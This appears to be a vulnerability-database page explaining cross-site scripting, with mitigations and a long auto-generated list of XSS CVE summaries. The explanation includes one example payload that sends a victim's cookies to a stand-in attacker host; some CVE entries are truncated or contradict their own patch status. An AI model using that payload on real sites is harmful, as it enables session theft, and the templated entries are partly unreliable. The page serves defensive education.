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Cross-Site Scripting

web MEDIUM

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

How It Works

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding. The attacker crafts input containing JavaScript code, which the application then incorporates into its HTML response. When a victim's browser renders this response, it executes the injected script as if it were legitimate code from the trusted website.

The attack manifests in three main variants. Reflected XSS occurs when malicious script arrives via an HTTP parameter (like a search query) and immediately bounces back in the response—typically delivered through phishing links. Stored XSS is more dangerous: the payload persists in the application's database (in comment fields, user profiles, forum posts) and executes whenever anyone views the infected content. DOM-based XSS happens entirely client-side when JavaScript code improperly handles user-controllable data, modifying the DOM in unsafe ways without ever sending the payload to the server.

A typical attack flow starts with the attacker identifying an injection point—anywhere user input appears in HTML output. They craft a payload like <script>document.location='http://attacker.com/steal?c='+document.cookie</script> and inject it through the vulnerable parameter. When victims access the page, their browsers execute this script within the security context of the legitimate domain, giving the attacker full access to cookies, session tokens, and DOM content.

Impact

  • Session hijacking: Steal authentication cookies to impersonate victims and access their accounts
  • Credential harvesting: Inject fake login forms on trusted pages to capture usernames and passwords
  • Account takeover: Perform state-changing actions (password changes, fund transfers) as the authenticated victim
  • Keylogging: Monitor and exfiltrate everything users type on the compromised page
  • Phishing and malware distribution: Redirect users to malicious sites or deliver drive-by downloads from a trusted domain
  • Data exfiltration: Access and steal sensitive information visible in the DOM or retrieved via AJAX requests

Real-World Examples

A stored XSS vulnerability in Twitter (2010) allowed attackers to create self-propagating worms. Users hovering over malicious tweets automatically retweeted them and followed the attacker, creating viral spread through the platform's legitimate functionality.

eBay suffered from persistent XSS flaws in product listings (CVE-2015-2880) where attackers embedded malicious scripts in item descriptions. Buyers viewing these listings had their sessions compromised, enabling unauthorized purchases and account takeover.

British Airways faced a sophisticated supply chain attack (2018) where attackers injected JavaScript into the airline's payment page. The script skimmed credit card details from 380,000 transactions, demonstrating how XSS enables payment fraud at massive scale.

Mitigation

  • Context-aware output encoding: HTML-encode for HTML context, JavaScript-encode for JS strings, URL-encode for URLs—never use generic escaping
  • Content Security Policy (CSP): Deploy strict CSP headers to whitelist script sources and block inline JavaScript execution
  • HTTPOnly and Secure cookie flags: Prevent JavaScript access to session cookies and ensure transmission over HTTPS only
  • Input validation: Reject unexpected characters and patterns, though this is defense-in-depth, not primary protection
  • DOM-based XSS prevention: Use safe APIs like textContent instead of innerHTML; avoid passing user data to dangerous sinks like eval()

Recent CVEs (39320)

EPSS 1% CVSS 6.1
MEDIUM This Month

Cross-site scripting in password.htm in TOTOLINK A3002RU version 1.0.8 allows attackers to execute arbitrary JavaScript via the user's username. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS A3002ru Firmware
NVD
EPSS 1% CVSS 6.1
MEDIUM POC This Month

Cross-site scripting in password.htm in TOTOLINK A3002RU version 1.0.8 allows attackers to execute arbitrary JavaScript via the user's password. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS A3002ru Firmware
NVD
EPSS 1% CVSS 6.1
MEDIUM POC This Month

Cross-site scripting in notice_gen.htm in TOTOLINK A3002RU version 1.0.8 allows attackers to execute arbitrary JavaScript by modifying the "User phrases button" field. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS A3002ru Firmware
NVD
EPSS 1% CVSS 5.4
MEDIUM This Month

The web application of the TIBCO Statistica component of TIBCO Software Inc.'s TIBCO Statistica Server contains vulnerabilities which may allow an authenticated user to perform cross-site scripting. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Statistica Server
NVD
EPSS 1% CVSS 6.1
MEDIUM POC This Month

Stored XSS was discovered in the Easy Testimonials plugin 3.2 for WordPress. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS PHP +1
NVD Exploit-DB
EPSS 1% CVSS 5.4
MEDIUM This Month

An issue was discovered in Dotcms through 5.0.3. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Dotcms
NVD
EPSS 1% CVSS 6.1
MEDIUM POC This Month

JTBC(PHP) 3.0.1.7 has XSS via the console/xml/manage.php?type=action&action=edit content parameter. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS PHP Jtbc Php
NVD GitHub
EPSS 1% CVSS 8.8
HIGH POC This Week

JTBC(PHP) 3.0.1.7 has CSRF via the console/xml/manage.php?type=action&action=edit URI, as demonstrated by an XSS payload in the content parameter. Rated high severity (CVSS 8.8), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

CSRF XSS PHP +1
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM POC This Month

ArticleCMS through 2017-02-19 has XSS via the /update_personal_infomation realname or email parameter. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Articlecms
NVD GitHub
EPSS 1% CVSS 4.8
MEDIUM This Month

Discuz!. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS PHP Discuz
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM POC This Month

ShowDoc 2.4.1 has XSS via the lang parameter because install/database.php mishandles the $cur_lang value. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS PHP Showdoc
NVD GitHub
EPSS 3% CVSS 9.6
CRITICAL POC Act Now

Loadbalancer.org Enterprise VA MAX before 8.3.3 has XSS because Apache HTTP Server logs are displayed. Rated critical severity (CVSS 9.6), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Apache Enterprise Va Max
NVD
EPSS 5% CVSS 6.1
MEDIUM POC This Month

CentOS-WebPanel.com (aka CWP) CentOS Web Panel through 0.9.8.740 allows XSS via the admin/index.php module parameter. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS PHP Webpanel
NVD Exploit-DB
EPSS 3% CVSS 6.1
MEDIUM This Month

Zoho ManageEngine OpManager 12.3 before 123219 has a Self XSS Vulnerability. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

Zoho XSS Manageengine Opmanager
NVD
EPSS 3% CVSS 6.1
MEDIUM This Month

Zoho ManageEngine OpManager 12.3 before 123219 has stored XSS. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

Zoho XSS Manageengine Opmanager
NVD
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

Jupyter Notebook before 5.7.2 allows XSS via a crafted directory name because notebook/static/tree/js/notebooklist.js handles certain URLs unsafely. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Notebook
NVD GitHub
EPSS 2% CVSS 6.1
MEDIUM PATCH This Month

Jupyter Notebook before 5.7.1 allows XSS via an untrusted notebook because nbconvert responses are considered to have the same origin as the notebook server. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Notebook
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM POC This Month

In SeaCMS v6.6.4, there is stored XSS via the member.php?action=chgpwdsubmit email parameter during a password change, as demonstrated by a data: URL in an OBJECT element. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS PHP Seacms
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM POC This Month

Guriddo Form PHP 5.3 has XSS via the demos/jqform/defaultnodb/default.php OrderID, ShipName, ShipAddress, ShipCity, ShipPostalCode, ShipCountry, Freight, or details parameter. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS PHP Form Php
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM POC This Month

kimsQ Rb 2.3.0 allows XSS via the second input field to the /?r=home&mod=mypage&page=info URI. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Rb
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM POC PATCH This Month

Centreon 3.4.x (fixed in Centreon 18.10.0) allows XSS via the Service field to the main.php?p=20201 URI, as demonstrated by the "Monitoring > Status Details > Services" screen. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS PHP Centreon
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM POC This Month

tp4a TELEPORT 3.1.0 allows XSS via the login page because a crafted username is mishandled when an administrator later views the system log. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Teleport
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM This Month

Sonatype Nexus Repository Manager before 3.14 allows XSS. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Nexus Repository Manager
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

The Web administration console on Polycom Trio devices with software before 5.5.4 has XSS. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Trio 8500 Firmware
NVD
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

The Installation Verification Tool of IBM WebSphere Application Server 7.0, 8.0, 8.5, and 9.0 is vulnerable to cross-site scripting. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS IBM Websphere Application Server
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

Cross-site scripting vulnerability in YukiWiki 2.1.3 and earlier allows remote attackers to inject arbitrary web script or HTML via unspecified vectors. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Yukiwiki
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

Cross-site scripting vulnerability in Metabase version 0.29.3 and earlier allows remote attackers to inject arbitrary web script or HTML via unspecified vectors. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Metabase
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

Cross-site scripting vulnerability in User-friendly SVN (USVN) Version 1.0.7 and earlier allows remote attackers to inject arbitrary web script or HTML via unspecified vectors. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Usvn
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

Cross-site scripting vulnerability in Denbun by NEOJAPAN Inc. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Debun Imap Debun Pop
NVD
EPSS 1% CVSS 4.8
MEDIUM This Month

Cross-site scripting vulnerability in multiple FXC Inc. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Fxc5210 Firmware Fxc5218 Firmware +8
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

Mitigates an XSS issue in NetIQ Access Manager versions prior to 4.4 SP3. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Access Manager
NVD
EPSS 1% CVSS 6.1
MEDIUM POC PATCH This Month

An issue was discovered in Valine v1.3.3. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Valine
NVD GitHub
EPSS 2% CVSS 6.1
MEDIUM This Month

Zoho ManageEngine OpManager 12.3 before Build 123223 has XSS via the updateWidget API. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

Zoho XSS Manageengine Opmanager
NVD
EPSS 9% CVSS 6.1
MEDIUM POC PATCH This Month

XSS in the Ninja Forms plugin before 3.3.18 for WordPress allows Remote Attackers to execute JavaScript via the includes/Admin/Menus/Submissions.php (aka submissions page) begin_date, end_date, or. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

WordPress XSS PHP +1
NVD Exploit-DB
EPSS 1% CVSS 6.1
MEDIUM POC This Month

The server in mubu note 2018-11-11 has XSS by configuring an account with a crafted name value (along with an arbitrary username value), and then creating and sharing a note. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Curtain
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

Centreon 3.4.x (fixed in Centreon 18.10.0) has XSS via the resource name or macro expression of a poller macro. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Centreon
NVD GitHub
EPSS 2% CVSS 6.1
MEDIUM POC PATCH This Month

CKEditor 4.x before 4.11.0 allows user-assisted XSS involving a source-mode paste. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Ckeditor
NVD
EPSS 0% CVSS 7.8
HIGH PATCH This Week

In functionality implemented in System UI, there are insufficient protections implemented around overlay windows. Rated high severity (CVSS 7.8), this vulnerability is no authentication required, low attack complexity.

Google Microsoft XSS +2
NVD
EPSS 4% CVSS 6.1
MEDIUM POC This Month

Nagios XI 5.5.6 allows reflected cross site scripting from remote unauthenticated attackers via the oname and oname2 parameters. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Nagios Xi
NVD
EPSS 7% CVSS 5.4
MEDIUM POC This Month

Nagios XI 5.5.6 allows persistent cross site scripting from remote authenticated attackers via the stored email address in admin/users.php. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS PHP Nagios Xi
NVD
EPSS 49% CVSS 6.1
MEDIUM POC THREAT This Month

Nagios XI 5.5.6 allows reflected cross site scripting from remote unauthenticated attackers via the host parameter in api_tool.php. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS PHP Nagios Xi
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

XSS vulnerabilities in Interstitials in Google Chrome prior to 65.0.3325.146 allowed an attacker who convinced a user to install a malicious extension or open Developer Console to inject arbitrary. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

Google XSS Chrome +4
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

Insufficient encoding of URL fragment identifiers in Blink in Google Chrome prior to 65.0.3325.146 allowed a remote attacker to perform a DOM based XSS attack via a crafted HTML page. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

Google XSS Chrome +4
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

Lack of CSP enforcement on WebUI pages in Bink in Google Chrome prior to 65.0.3325.146 allowed an attacker who convinced a user to install a malicious extension to bypass content security policy via. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

Google XSS Chrome +4
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

Cross-site scripting in the Intel RAID Web Console v3 for Windows may allow an unauthenticated user to elevate privilege via remote access. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

Intel Microsoft XSS +1
NVD
EPSS 1% CVSS 6.1
MEDIUM POC This Month

The Amazon PAYFORT payfort-php-SDK payment gateway SDK through 2018-04-26 has XSS via the error.php error_msg parameter. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS PHP Payfort Php Sdk
NVD
EPSS 1% CVSS 6.1
MEDIUM POC This Month

The Amazon PAYFORT payfort-php-SDK payment gateway SDK through 2018-04-26 has XSS via an arbitrary parameter name or value that is mishandled in an error.php echo statement. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS PHP Payfort Php Sdk
NVD
EPSS 2% CVSS 6.1
MEDIUM POC This Month

The Amazon PAYFORT payfort-php-SDK payment gateway SDK through 2018-04-26 has XSS via the success.php fort_id parameter. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS PHP Payfort Php Sdk
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM POC This Month

The Amazon PAYFORT payfort-php-SDK payment gateway SDK through 2018-04-26 has XSS via an arbitrary parameter name or value that is mishandled in a success.php echo statement. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS PHP Payfort Php Sdk
NVD
EPSS 1% CVSS 6.1
MEDIUM POC This Month

The Amazon PAYFORT payfort-php-SDK payment gateway SDK through 2018-04-26 has XSS via the route.php paymentMethod parameter. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS PHP Payfort Php Sdk
NVD
EPSS 1% CVSS 5.4
MEDIUM PATCH This Month

A cross site scripting vulnerability exists when Microsoft Dynamics 365 (on-premises) version 8 does not properly sanitize a specially crafted web request to an affected Dynamics server, aka. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

Microsoft XSS Dynamics 365
NVD
EPSS 1% CVSS 5.4
MEDIUM PATCH This Month

A cross site scripting vulnerability exists when Microsoft Dynamics 365 (on-premises) version 8 does not properly sanitize a specially crafted web request to an affected Dynamics server, aka. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

Microsoft XSS Dynamics 365
NVD
EPSS 1% CVSS 5.4
MEDIUM PATCH This Month

A cross site scripting vulnerability exists when Microsoft Dynamics 365 (on-premises) version 8 does not properly sanitize a specially crafted web request to an affected Dynamics server, aka. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

Microsoft XSS Dynamics 365
NVD
EPSS 1% CVSS 5.4
MEDIUM PATCH This Month

A cross site scripting vulnerability exists when Microsoft Dynamics 365 (on-premises) version 8 does not properly sanitize a specially crafted web request to an affected Dynamics server, aka. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

Microsoft XSS Dynamics 365
NVD
EPSS 2% CVSS 5.4
MEDIUM PATCH This Month

A Cross-site Scripting (XSS) vulnerability exists when Team Foundation Server does not properly sanitize user provided input, aka "Team Foundation Server Cross-site Scripting Vulnerability." This. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity.

XSS Team Foundation Server
NVD
EPSS 2% CVSS 6.1
MEDIUM PATCH This Month

A Cross-site Scripting (XSS) vulnerability exists when Azure App Services on Azure Stack does not properly sanitize user provided input, aka "Azure App Service Cross-site Scripting Vulnerability.". Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity.

Microsoft XSS Azure App Service On Azure Stack
NVD
EPSS 2% CVSS 5.4
MEDIUM PATCH This Month

An elevation of privilege vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web request to an affected SharePoint server, aka "Microsoft SharePoint. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

Microsoft XSS Sharepoint Enterprise Server +2
NVD
EPSS 2% CVSS 5.4
MEDIUM PATCH This Month

An elevation of privilege vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web request to an affected SharePoint server, aka "Microsoft SharePoint. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

Microsoft XSS Sharepoint Enterprise Server +2
NVD
EPSS 2% CVSS 5.4
MEDIUM PATCH This Month

A cross-site-scripting (XSS) vulnerability exists when an open source customization for Microsoft Active Directory Federation Services (AD FS) does not properly sanitize a specially crafted web. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

Microsoft XSS Windows 10 +5
NVD
EPSS 2% CVSS 6.1
MEDIUM PATCH This Month

There is a possible XSS vulnerability in Rack before 2.0.6 and 1.6.11. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Rack Debian Linux
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

SAP BusinessObjects Business Intelligence Platform (BIWorkspace), versions 4.1 and 4.2, does not sufficiently encode user-controlled inputs, resulting in Cross-Site Scripting (XSS) vulnerability. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS SAP Businessobjects Bi Platform
NVD
EPSS 1% CVSS 5.4
MEDIUM This Month

A flaw was found in Keycloak 3.4.3.Final, 4.0.0.Beta2, 4.3.0.Final. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Keycloak Single Sign On
NVD
EPSS 1% CVSS 5.4
MEDIUM POC This Month

An issue was discovered in LAOBANCMS 2.0. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS PHP Laobancms
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM POC This Month

An issue was discovered in LAOBANCMS 2.0. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS PHP Laobancms
NVD GitHub
EPSS 1% CVSS 4.8
MEDIUM POC This Month

An issue was discovered in LAOBANCMS 2.0. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS PHP Laobancms
NVD GitHub
EPSS 1% CVSS 9.8
CRITICAL POC Act Now

An issue was discovered in LAOBANCMS 2.0. Rated critical severity (CVSS 9.8), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS PHP Laobancms
NVD GitHub
EPSS 60% CVSS 6.1
MEDIUM This Month

steps/mail/func.inc in Roundcube before 1.3.8 has XSS via crafted use of <svg><style>, as demonstrated by an onload attribute in a BODY element, within an HTML attachment. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Webmail Debian Linux
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

IBM WebSphere Application Server 7.0, 8.0, 8.5, and 9.0 is vulnerable to cross-site scripting. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS IBM Websphere Application Server
NVD
EPSS 1% CVSS 6.1
MEDIUM POC This Month

An issue was discovered in XiaoCms 20141229. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Xiaocms
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM POC This Month

An issue was discovered in XiaoCms 20141229. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Xiaocms
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM POC This Month

In JEESNS 1.3, com/lxinet/jeesns/core/utils/XssHttpServletRequestWrapper.java allows stored XSS via an HTML EMBED element, a different vulnerability than CVE-2018-17886. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

Java XSS Jeesns
NVD GitHub
EPSS 1% CVSS 4.8
MEDIUM POC This Month

In JPress v1.0-rc.5, there is stored XSS via each of the first three input fields to the starter-tomcat-1.0/admin/setting URI, as demonstrated by the web_name parameter. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Tomcat Jpress
NVD GitHub
EPSS 1% CVSS 4.8
MEDIUM This Month

Open Ticket Request System (OTRS) 6.0.x before 6.0.13 allows an admin to conduct an XSS attack via a modified URL. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Open Ticket Request System
NVD
EPSS 1% CVSS 4.8
MEDIUM PATCH This Month

Open Ticket Request System (OTRS) 4.0.x before 4.0.33 and 5.0.x before 5.0.31 allows an admin to conduct an XSS attack via a modified URL because user and customer preferences are mishandled. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Open Ticket Request System Debian Linux
NVD
EPSS 1% CVSS 6.1
MEDIUM POC This Month

An issue was discovered in S-CMS v1.5. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS PHP S Cms
NVD
EPSS 3% CVSS 6.1
MEDIUM POC This Month

DomainMOD through 4.11.01 has XSS via the assets/edit/ip-address.php ipid parameter. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS PHP Domainmod
NVD GitHub
EPSS 7% CVSS 6.1
MEDIUM POC This Month

DomainMOD through 4.11.01 has XSS via the assets/edit/registrar-account.php raid parameter. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS PHP Domainmod
NVD GitHub Exploit-DB
EPSS 1% CVSS 5.4
MEDIUM PATCH This Month

IBM Maximo Asset Management 7.6 is vulnerable to cross-site scripting. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS IBM Maximo Asset Management
NVD
EPSS 3% CVSS 6.1
MEDIUM PATCH This Month

Squid before 4.4 has XSS via a crafted X.509 certificate during HTTP(S) error page generation for certificate errors. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Squid
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM This Month

A vulnerability in the web-based management interface of Cisco Prime Service Catalog could allow an authenticated, remote attacker to conduct a cross-site scripting (XSS) attack against a user of the. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Cisco Prime Service Catalog
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

A vulnerability in the web-based management interface of Cisco Content Security Management Appliance (SMA) Software could allow an unauthenticated, remote attacker to conduct a cross-site scripting. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Cisco Content Security Management Appliance
NVD
EPSS 1% CVSS 6.1
MEDIUM POC This Month

An issue was discovered in YzmCMS v5.2. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Yzmcms
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM POC This Month

tianti 2.3 has reflected XSS in the user management module via the tianti-module-admin/user/list userName parameter. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Tianti
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM POC This Month

tianti 2.3 has stored XSS in the article management module via an article title. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Tianti
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM POC This Month

tianti 2.3 has stored XSS in the userlist module via the tianti-module-admin/user/ajax/save_role name parameter, which is mishandled in. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Tianti
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM POC This Month

